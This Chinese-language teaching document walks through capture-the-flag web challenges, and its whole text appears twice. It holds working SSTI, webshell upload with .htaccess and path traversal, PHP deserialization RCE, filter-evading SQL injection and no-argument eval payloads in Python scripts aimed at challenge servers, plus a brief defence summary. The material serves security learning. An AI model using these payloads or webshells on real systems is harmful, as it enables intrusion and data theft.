Web安全入门题型解析与实战技巧教学文档
一、Web安全基础框架概述
本教学文档系统解析Web安全入门题型,涵盖前端安全、后端漏洞、工具使用等核心知识点,帮助学习者建立完整的Web安全知识体系。
二、题型分类解析
2.1 前端安全与JS绕过(提说你是高玩)
题型特征:基于JavaScript的前端验证机制,需要绕过客户端限制获取flag。
核心知识点
-
前端验证机制分析
- 通过浏览器开发者工具查看JS源码
- 识别关键验证函数(如getFlag())
- 分析参数验证逻辑(score和clicks变量)
-
JS函数调用方法
// 获取flag的核心函数 async function getFlag() { const response = await fetch('ffffflllllaaaaaagggggg.php?action=get_flag', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: `session_id=${sessionId}&final_score=${score}` }); } -
Python自动化脚本编写
import requests import time url = "http://175.27.251.122:33251/" session_id = "session_" + str(int(time.time())) # 注册会话 res = requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=register", data={"session_id":session_id}) # 分步更新分数绕过检测 requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=update_score", data={"session_id":session_id, "score":999999, "clicks":999999, "difficulty":"easy"}) requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=update_score", data={"session_id":session_id, "score":1000000, "clicks":1000000, "difficulty":"easy"}) # 获取flag res = requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=get_flag", data={"session_id":session_id, "final_score":1000000})
关键技巧
- 分数需要逐步更新,避免触发异常检测
- 保持session一致性
- 注意请求头格式要求
2.2 SSTI模板注入(read_login?)
题型特征:存在服务端模板注入漏洞,可通过注入模板代码实现RCE。
核心知识点
-
Flask SSTI漏洞识别
- 输入
{{7*7}}测试,返回49确认漏洞 - 识别过滤规则(特殊字符过滤)
- 输入
-
绕过技术
- 字符串拼接:
'__cla'+'ss__' - 属性链调用:
__bases__[0].__subclasses__() - 常用payload结构:
{{''['__cla'+'ss__']['__ba'+'ses__'][0]['__subc'+'lasses__']()[132]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('cat /f*')|attr('read')()}} - 字符串拼接:
-
工具配置
- Yakit配置:使用内置浏览器避免代理问题
- Burp Suite Intruder模块进行fuzz测试
自动化脚本
import requests
import re
def ssti_exp(url, cmd):
s = requests.session()
login_data = {"username": cmd, "password": "a"}
# 注册和登录触发SSTI
s.post(f"{url}register", data=login_data)
resp = s.post(f"{url}login", data=login_data)
# 提取执行结果
pattern = r'<h5>Welcome back, (.*?)!</h5>'
match = re.search(pattern, resp.text)
return match.group(1) if match else None
2.3 文件上传漏洞(ez_blog_2.0)
题型特征:存在文件上传功能,需要绕过限制上传Webshell。
核心知识点
-
上传限制绕过技术
- MIME类型绕过
- 文件扩展名绕过(.php→.txt)
- .htaccess文件利用:
<FilesMatch ".*\.txt$"> SetHandler application/x-httpd-php </FilesMatch> -
路径穿越技巧
- 利用递归目录创建特性
- 使用
../进行目录遍历 - 最终payload:
filename=../Pr0/flag.txt
-
Webshell管理
- 中国蚁剑使用
- Hackbar插件POST数据提交
- 一句话木马:
<?php system('cat /*');?>
完整利用流程
import requests
def upload_exp(url):
s = requests.session()
# 上传.htaccess
hta_content = '''<FilesMatch "\.txt">\nSetHandler application/x-httpd-php\n</FilesMatch>'''
s.post(f"{url}publish.php", data={"filename":"../Pr0/.htaccess", "content":hta_content})
# 上传Webshell
php_content = '''<?php system('cat /*');?>'''
s.post(f"{url}publish.php", data={"filename":"../Pr0/flag.txt", "content":php_content})
# 访问Webshell
resp = s.get(f"{url}Pr0/flag.txt")
return resp.text
2.4 命令注入与长度限制(无言)
题型特征:存在命令注入点但有长度限制(5字符)。
核心知识点
-
Linux短命令利用
nl /*:查看根目录文件cat f*:查看flag文件ls -t:时间排序列出文件
-
GET参数注入
import requests url = "http://175.27.251.122:33267/" resp = requests.get(url, params={"Pr0": "nl /*"})
2.5 PHP反序列化漏洞(草蛇灰线)
题型特征:存在PHP反序列化点,需要构造POP链。
核心知识点
-
PHP魔法方法
__destruct():对象销毁时触发__wakeup():反序列化时触发__toString():对象被当作字符串时触发__get():访问不存在属性时触发__set():设置不存在属性时触发
-
POP链构造原理
- 第一条链(获取密码):
Amiya::__destruct → Texas::__toString → Lappland::__call → Kaltsit::__invoke- 第二条链(RCE):
Amiya::__destruct → Sakiko::__toString → Doctor::__get → W::__set -
序列化数据构造
<?php class W { public $bomb = "Pr0_don't_W@nt_y2u_to_u3e_th1s"; public $wisadel = "system('cat /flag');"; } class Amiya { public $emotion; public $ring; public $name; } // ... 其他类定义 $payload = serialize(new Amiya()); ?>
自动化利用
import requests
import re
def php_unserialize_exp(url):
# 第一条链获取密码
passwd_payload = 'O:5:"Amiya":4:{s:7:"emotion";N;s:4:"ring";N;s:4:"name";O:5:"Texas":2:{s:5:"pocky";N;s:7:"partner";O:8:"Lappland":2:{s:6:"weapon";N;s:6:"target";O:7:"Kaltsit":1:{s:6:"mon3tr";s:21:"Mon3tr is A Cute Cat!";}}}}'
# 第二条链RCE
rce_payload = 'O:5:"Amiya":4:{s:7:"emotion";N;s:4:"ring";N;s:4:"name";O:6:"Sakiko":4:{s:7:"mutsumi";O:6:"Doctor":2:{s:6:"sanity";O:1:"W":2:{s:4:"bomb";s:30:"Pr0_don\'t_W@nt_y2u_to_u3e_th1s";s:7:"wisadel";s:20:"system(\'cat /flag\');";}s:9:"assistant";N;}s:4:"uika";N;s:5:"umiri";N;s:5:"nyamu";N;}}}'
resp = requests.post(url, data={"arknights": rce_payload})
return re.search(r'sdpcsec\{.*?\}', resp.text)
2.6 SQL注入绕过(断章)
题型特征:存在SQL注入点但有关键词过滤。
核心知识点
-
双写绕过技术
select→selselectector→oorrand→anandd
-
手动注入流程
- 爆数据库:
union select 1,database(),3,4 - 爆表名:
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() - 爆字段:
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='secret' - 取数据:
union select 1,group_concat(flag),3,4 from secret
- 爆数据库:
-
Burp Suite fuzz测试
- 使用Intruder模块测试过滤规则
- 制定有效payload列表
自动化脚本
import requests
import re
def sql_injection_exp(url):
s = requests.session()
# 登录绕过
s.post(f"{url}register", data={"username":"admin' oorr '1'='1", "password":"a"})
s.post(f"{url}login", data={"username":"admin' oorr '1'='1", "password":"a"})
# 分步注入
steps = [
"0' union selselectect 1,database(),3,'4",
"0' union selselectect 1,group_concat(table_name),3,4 from infoorrmation_schema.tables where table_schema=database() anandd '1'='1",
"0' union selselectect 1,group_concat(column_name),3,4 from infoorrmation_schema.columns where table_name='secret' anandd '1'='1",
"0' union selselectect 1,group_concat(flag),3,4 from secret where '1'='1"
]
for payload in steps:
resp = s.get(f"{url}search", params={"id": payload})
# 解析结果
match = re.search(r'<span class="value">(.*?)</span>', resp.text)
if match:
print(f"Result: {match.group(1)}")
2.7 伪协议与无参RCE(浮光)
题型特征:存在文件读取功能,需要利用伪协议和无参RCE。
核心知识点
-
PHP伪协议利用
php://filter/read=convert.iconv.UTF-8.UTF-7/resource=gift.php- 绕过URL验证和关键词过滤
-
无参RCE技术
- 正则限制:
'/'[^\W]+$(?R)?$/' - 可用函数:
get_defined_vars(),current(),end(),eval() - Payload:
eval(end(current(get_defined_vars())));
- 正则限制:
-
目录扫描
- 使用dirsearch发现隐藏文件
- 常见备份文件:
.zip,.bak,.git
完整利用链
import requests
import re
def filter_rce_exp(url):
# 伪协议读取源码
data = {"file": "php://filter/read=convert.iconv.UTF-8.UTF-7/resource=gift.php"}
resp = requests.post(url, data=data)
# 无参RCE
gift_data = {"m1xian": "eval(end(current(get_defined_vars())));"}
params = {"Pr0": "system('cat /*');"}
final_resp = requests.post(f"{url}gift.php", data=gift_data, params=params)
return re.search(r'sdpcsec\{.*?\}', final_resp.text)
三、工具使用指南
3.1 浏览器开发者工具
- F12打开控制台
- 查看和修改前端JS代码
- 监控网络请求
3.2 Burp Suite配置
- 设置代理监听
- Intruder模块进行fuzz测试
- Repeater模块重放请求
3.3 Yakit安装使用
- Kali Linux部署指南
- 内置浏览器避免代理问题
- 插件化漏洞测试
3.4 中国蚁剑/冰蝎
- Webshell管理工具
- 文件系统操作
- 虚拟终端使用
四、防御措施总结
4.1 前端安全
- 避免敏感逻辑放在前端
- 服务端重复验证
4.2 输入验证
- 白名单过滤机制
- 参数化查询防止SQL注入
4.3 文件上传
- 严格的文件类型验证
- 随机文件名生成
- 存储目录无执行权限
4.4 序列化安全
- 避免反序列化用户输入
- 使用JSON等安全格式
本教学文档涵盖了Web安全入门的核心知识点和实战技巧,通过系统学习和实践,可以建立完整的Web安全知识体系。
Web安全入门题型解析与实战技巧教学文档
一、Web安全基础框架概述
本教学文档系统解析Web安全入门题型,涵盖前端安全、后端漏洞、工具使用等核心知识点,帮助学习者建立完整的Web安全知识体系。
二、题型分类解析
2.1 前端安全与JS绕过(提说你是高玩)
题型特征:基于JavaScript的前端验证机制,需要绕过客户端限制获取flag。
核心知识点
-
前端验证机制分析
- 通过浏览器开发者工具查看JS源码
- 识别关键验证函数(如getFlag())
- 分析参数验证逻辑(score和clicks变量)
-
JS函数调用方法
// 获取flag的核心函数 async function getFlag() { const response = await fetch('ffffflllllaaaaaagggggg.php?action=get_flag', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: `session_id=${sessionId}&final_score=${score}` }); } -
Python自动化脚本编写
import requests import time url = "http://175.27.251.122:33251/" session_id = "session_" + str(int(time.time())) # 注册会话 res = requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=register", data={"session_id":session_id}) # 分步更新分数绕过检测 requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=update_score", data={"session_id":session_id, "score":999999, "clicks":999999, "difficulty":"easy"}) requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=update_score", data={"session_id":session_id, "score":1000000, "clicks":1000000, "difficulty":"easy"}) # 获取flag res = requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=get_flag", data={"session_id":session_id, "final_score":1000000})
关键技巧
- 分数需要逐步更新,避免触发异常检测
- 保持session一致性
- 注意请求头格式要求
2.2 SSTI模板注入(read_login?)
题型特征:存在服务端模板注入漏洞,可通过注入模板代码实现RCE。
核心知识点
-
Flask SSTI漏洞识别
- 输入
{{7*7}}测试,返回49确认漏洞 - 识别过滤规则(特殊字符过滤)
- 输入
-
绕过技术
- 字符串拼接:
'__cla'+'ss__' - 属性链调用:
__bases__[0].__subclasses__() - 常用payload结构:
{{''['__cla'+'ss__']['__ba'+'ses__'][0]['__subc'+'lasses__']()[132]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('cat /f*')|attr('read')()}} - 字符串拼接:
-
工具配置
- Yakit配置:使用内置浏览器避免代理问题
- Burp Suite Intruder模块进行fuzz测试
自动化脚本
import requests
import re
def ssti_exp(url, cmd):
s = requests.session()
login_data = {"username": cmd, "password": "a"}
# 注册和登录触发SSTI
s.post(f"{url}register", data=login_data)
resp = s.post(f"{url}login", data=login_data)
# 提取执行结果
pattern = r'<h5>Welcome back, (.*?)!</h5>'
match = re.search(pattern, resp.text)
return match.group(1) if match else None
2.3 文件上传漏洞(ez_blog_2.0)
题型特征:存在文件上传功能,需要绕过限制上传Webshell。
核心知识点
-
上传限制绕过技术
- MIME类型绕过
- 文件扩展名绕过(.php→.txt)
- .htaccess文件利用:
<FilesMatch ".*\.txt$"> SetHandler application/x-httpd-php </FilesMatch> -
路径穿越技巧
- 利用递归目录创建特性
- 使用
../进行目录遍历 - 最终payload:
filename=../Pr0/flag.txt
-
Webshell管理
- 中国蚁剑使用
- Hackbar插件POST数据提交
- 一句话木马:
<?php system('cat /*');?>
完整利用流程
import requests
def upload_exp(url):
s = requests.session()
# 上传.htaccess
hta_content = '''<FilesMatch "\.txt">\nSetHandler application/x-httpd-php\n</FilesMatch>'''
s.post(f"{url}publish.php", data={"filename":"../Pr0/.htaccess", "content":hta_content})
# 上传Webshell
php_content = '''<?php system('cat /*');?>'''
s.post(f"{url}publish.php", data={"filename":"../Pr0/flag.txt", "content":php_content})
# 访问Webshell
resp = s.get(f"{url}Pr0/flag.txt")
return resp.text
2.4 命令注入与长度限制(无言)
题型特征:存在命令注入点但有长度限制(5字符)。
核心知识点
-
Linux短命令利用
nl /*:查看根目录文件cat f*:查看flag文件ls -t:时间排序列出文件
-
GET参数注入
import requests url = "http://175.27.251.122:33267/" resp = requests.get(url, params={"Pr0": "nl /*"})
2.5 PHP反序列化漏洞(草蛇灰线)
题型特征:存在PHP反序列化点,需要构造POP链。
核心知识点
-
PHP魔法方法
__destruct():对象销毁时触发__wakeup():反序列化时触发__toString():对象被当作字符串时触发__get():访问不存在属性时触发__set():设置不存在属性时触发
-
POP链构造原理
- 第一条链(获取密码):
Amiya::__destruct → Texas::__toString → Lappland::__call → Kaltsit::__invoke- 第二条链(RCE):
Amiya::__destruct → Sakiko::__toString → Doctor::__get → W::__set -
序列化数据构造
<?php class W { public $bomb = "Pr0_don't_W@nt_y2u_to_u3e_th1s"; public $wisadel = "system('cat /flag');"; } class Amiya { public $emotion; public $ring; public $name; } // ... 其他类定义 $payload = serialize(new Amiya()); ?>
自动化利用
import requests
import re
def php_unserialize_exp(url):
# 第一条链获取密码
passwd_payload = 'O:5:"Amiya":4:{s:7:"emotion";N;s:4:"ring";N;s:4:"name";O:5:"Texas":2:{s:5:"pocky";N;s:7:"partner";O:8:"Lappland":2:{s:6:"weapon";N;s:6:"target";O:7:"Kaltsit":1:{s:6:"mon3tr";s:21:"Mon3tr is A Cute Cat!";}}}}'
# 第二条链RCE
rce_payload = 'O:5:"Amiya":4:{s:7:"emotion";N;s:4:"ring";N;s:4:"name";O:6:"Sakiko":4:{s:7:"mutsumi";O:6:"Doctor":2:{s:6:"sanity";O:1:"W":2:{s:4:"bomb";s:30:"Pr0_don\'t_W@nt_y2u_to_u3e_th1s";s:7:"wisadel";s:20:"system(\'cat /flag\');";}s:9:"assistant";N;}s:4:"uika";N;s:5:"umiri";N;s:5:"nyamu";N;}}}'
resp = requests.post(url, data={"arknights": rce_payload})
return re.search(r'sdpcsec\{.*?\}', resp.text)
2.6 SQL注入绕过(断章)
题型特征:存在SQL注入点但有关键词过滤。
核心知识点
-
双写绕过技术
select→selselectector→oorrand→anandd
-
手动注入流程
- 爆数据库:
union select 1,database(),3,4 - 爆表名:
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() - 爆字段:
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='secret' - 取数据:
union select 1,group_concat(flag),3,4 from secret
- 爆数据库:
-
Burp Suite fuzz测试
- 使用Intruder模块测试过滤规则
- 制定有效payload列表
自动化脚本
import requests
import re
def sql_injection_exp(url):
s = requests.session()
# 登录绕过
s.post(f"{url}register", data={"username":"admin' oorr '1'='1", "password":"a"})
s.post(f"{url}login", data={"username":"admin' oorr '1'='1", "password":"a"})
# 分步注入
steps = [
"0' union selselectect 1,database(),3,'4",
"0' union selselectect 1,group_concat(table_name),3,4 from infoorrmation_schema.tables where table_schema=database() anandd '1'='1",
"0' union selselectect 1,group_concat(column_name),3,4 from infoorrmation_schema.columns where table_name='secret' anandd '1'='1",
"0' union selselectect 1,group_concat(flag),3,4 from secret where '1'='1"
]
for payload in steps:
resp = s.get(f"{url}search", params={"id": payload})
# 解析结果
match = re.search(r'<span class="value">(.*?)</span>', resp.text)
if match:
print(f"Result: {match.group(1)}")
2.7 伪协议与无参RCE(浮光)
题型特征:存在文件读取功能,需要利用伪协议和无参RCE。
核心知识点
-
PHP伪协议利用
php://filter/read=convert.iconv.UTF-8.UTF-7/resource=gift.php- 绕过URL验证和关键词过滤
-
无参RCE技术
- 正则限制:
'/'[^\W]+$(?R)?$/' - 可用函数:
get_defined_vars(),current(),end(),eval() - Payload:
eval(end(current(get_defined_vars())));
- 正则限制:
-
目录扫描
- 使用dirsearch发现隐藏文件
- 常见备份文件:
.zip,.bak,.git
完整利用链
import requests
import re
def filter_rce_exp(url):
# 伪协议读取源码
data = {"file": "php://filter/read=convert.iconv.UTF-8.UTF-7/resource=gift.php"}
resp = requests.post(url, data=data)
# 无参RCE
gift_data = {"m1xian": "eval(end(current(get_defined_vars())));"}
params = {"Pr0": "system('cat /*');"}
final_resp = requests.post(f"{url}gift.php", data=gift_data, params=params)
return re.search(r'sdpcsec\{.*?\}', final_resp.text)
三、工具使用指南
3.1 浏览器开发者工具
- F12打开控制台
- 查看和修改前端JS代码
- 监控网络请求
3.2 Burp Suite配置
- 设置代理监听
- Intruder模块进行fuzz测试
- Repeater模块重放请求
3.3 Yakit安装使用
- Kali Linux部署指南
- 内置浏览器避免代理问题
- 插件化漏洞测试
3.4 中国蚁剑/冰蝎
- Webshell管理工具
- 文件系统操作
- 虚拟终端使用
四、防御措施总结
4.1 前端安全
- 避免敏感逻辑放在前端
- 服务端重复验证
4.2 输入验证
- 白名单过滤机制
- 参数化查询防止SQL注入
4.3 文件上传
- 严格的文件类型验证
- 随机文件名生成
- 存储目录无执行权限
4.4 序列化安全
- 避免反序列化用户输入
- 使用JSON等安全格式
本教学文档涵盖了Web安全入门的核心知识点和实战技巧,通过系统学习和实践,可以建立完整的Web安全知识体系。